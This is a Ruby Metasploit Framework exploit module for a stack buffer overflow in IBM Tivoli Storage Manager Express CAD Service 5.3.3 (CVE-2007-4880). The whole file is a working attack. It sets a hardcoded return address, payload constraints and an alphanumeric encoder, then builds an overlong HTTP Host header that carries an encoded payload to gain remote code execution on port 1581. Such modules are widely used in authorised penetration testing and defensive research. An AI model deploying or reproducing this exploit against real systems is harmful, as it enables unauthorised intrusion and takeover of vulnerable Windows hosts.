##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'IBM Tivoli Storage Manager Express CAD Service Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in the IBM Tivoli Storage Manager Express CAD Service (5.3.3).
				By sending an overly long GET request, it may be possible for an attacker to execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2007-4880' ],
					[ 'OSVDB', '38161' ],
					[ 'BID', '25743' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					[ 'IBM Tivoli Storage Manager Express 5.3.3', { 'Ret' => 0x0289fbe3 } ], # dbghelp.dll
				],
			'DefaultTarget'  => 0,			
			'DisclosureDate' => 'Sept 24 2007'))
			
			register_options( [ Opt::RPORT(1581) ], self.class )

	end

	def exploit
		connect
		
		sploit =  "GET /BACLIENT HTTP/1.1\r\n"
		sploit << "Host: 127.0.0.1 " + rand_text_alpha_upper(190) 
		sploit << [target.ret].pack('V') + payload.encoded 
		
		print_status("Trying target %s..." % target.name)
		
		sock.put(sploit + "\r\n\r\n")
		
		handler
		disconnect
	end

end